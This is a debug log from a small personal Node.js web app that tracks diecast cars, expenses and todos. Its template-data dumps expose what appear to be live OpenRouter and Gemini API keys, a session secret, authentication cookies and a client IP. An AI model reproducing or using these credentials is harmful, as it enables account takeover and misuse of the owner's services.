      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-13T10:23:53.190Z server-connect:router Serving templateView /
2026-07-13T10:23:53.191Z server-connect:app Executing action step identify
2026-07-13T10:23:53.191Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:53.191Z server-connect:output identity: 1
2026-07-13T10:23:53.192Z server-connect:app Executing action step restrict
2026-07-13T10:23:53.192Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:23:53.192Z server-connect:output restrict: undefined
2026-07-13T10:23:53.192Z server-connect:app Executing action step restrict
2026-07-13T10:23:53.193Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:23:53.193Z server-connect:output restrict: undefined
2026-07-13T10:23:53.193Z server-connect:router Render template layouts/main
2026-07-13T10:23:53.193Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-13T12:41:05.797Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-13T12:41:08.068Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-13T12:41:08.929Z server-connect:setup:upload Upload middleware configured.
2026-07-13T12:41:08.930Z server-connect:secure CSRF Protection initialized
2026-07-13T12:41:08.937Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-13T12:41:08.937Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-13T12:41:08.940Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-13T12:41:08.941Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-13T12:41:08.948Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-13T12:41:08.953Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-13T12:41:08.969Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-13T12:41:08.980Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-13T12:41:08.985Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-13T12:41:08.986Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-13T12:41:08.987Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-13T12:41:08.991Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-13T12:41:08.998Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-13T12:41:09.008Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-13T12:41:09.011Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-13T12:41:09.083Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-13T12:41:09.083Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-13T12:41:09.087Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-13T12:41:09.093Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-13T12:41:09.098Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-13T12:41:09.098Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-13T12:41:09.108Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-13T12:41:09.109Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-13T12:41:09.115Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-13T12:41:09.116Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-13T12:41:09.121Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-13T12:41:09.122Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-13T12:41:09.125Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-13T12:41:09.131Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-13T12:41:09.131Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-13T12:41:09.134Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-13T12:41:09.137Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-13T12:41:09.140Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-13T12:41:09.143Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-13T12:41:09.148Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-13T12:41:09.152Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-13T12:41:09.155Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-13T12:41:09.163Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-13T12:41:09.653Z server-connect:router Serving templateView /
2026-07-13T12:41:09.655Z server-connect:app Executing action step identify
2026-07-13T12:41:09.655Z server-connect:app options: { provider: 'security' }
2026-07-13T12:41:09.657Z server-connect:auth No login cookie found
2026-07-13T12:41:09.657Z server-connect:output identity: false
2026-07-13T12:41:09.657Z server-connect:app Executing action step restrict
2026-07-13T12:41:09.658Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T12:41:09.661Z server-connect:output restrict: undefined
2026-07-13T12:41:10.389Z server-connect:router Serving templateView /login
2026-07-13T12:41:10.390Z server-connect:app Executing action step identify
2026-07-13T12:41:10.390Z server-connect:app options: { provider: 'security' }
2026-07-13T12:41:10.390Z server-connect:auth No login cookie found
2026-07-13T12:41:10.390Z server-connect:output identity: false
2026-07-13T12:41:10.390Z server-connect:router Render template layouts/authentication
2026-07-13T12:41:10.391Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.45',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T12:41:10.388Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.45',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.45',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-13T16:41:59.903Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-13T16:42:02.173Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-13T16:42:03.038Z server-connect:setup:upload Upload middleware configured.
2026-07-13T16:42:03.038Z server-connect:secure CSRF Protection initialized
2026-07-13T16:42:03.043Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-13T16:42:03.044Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-13T16:42:03.047Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-13T16:42:03.048Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-13T16:42:03.054Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-13T16:42:03.058Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-13T16:42:03.074Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-13T16:42:03.089Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-13T16:42:03.090Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-13T16:42:03.091Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-13T16:42:03.093Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-13T16:42:03.097Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-13T16:42:03.103Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-13T16:42:03.112Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-13T16:42:03.117Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-13T16:42:03.187Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-13T16:42:03.188Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-13T16:42:03.193Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-13T16:42:03.198Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-13T16:42:03.202Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-13T16:42:03.204Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-13T16:42:03.213Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-13T16:42:03.213Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-13T16:42:03.220Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-13T16:42:03.222Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-13T16:42:03.226Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-13T16:42:03.228Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-13T16:42:03.230Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-13T16:42:03.236Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-13T16:42:03.238Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-13T16:42:03.240Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-13T16:42:03.242Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-13T16:42:03.246Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-13T16:42:03.248Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-13T16:42:03.254Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-13T16:42:03.257Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-13T16:42:03.259Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-13T16:42:03.271Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-13T16:42:03.764Z server-connect:router Serving templateView /
2026-07-13T16:42:03.767Z server-connect:app Executing action step identify
2026-07-13T16:42:03.767Z server-connect:app options: { provider: 'security' }
2026-07-13T16:42:03.770Z server-connect:auth No login cookie found
2026-07-13T16:42:03.770Z server-connect:output identity: false
2026-07-13T16:42:03.771Z server-connect:app Executing action step restrict
2026-07-13T16:42:03.771Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T16:42:03.776Z server-connect:output restrict: undefined
2026-07-13T16:42:03.904Z server-connect:router Serving templateView /login
2026-07-13T16:42:03.904Z server-connect:app Executing action step identify
2026-07-13T16:42:03.905Z server-connect:app options: { provider: 'security' }
2026-07-13T16:42:03.905Z server-connect:auth No login cookie found
2026-07-13T16:42:03.905Z server-connect:output identity: false
2026-07-13T16:42:03.905Z server-connect:router Render template layouts/authentication
2026-07-13T16:42:03.905Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
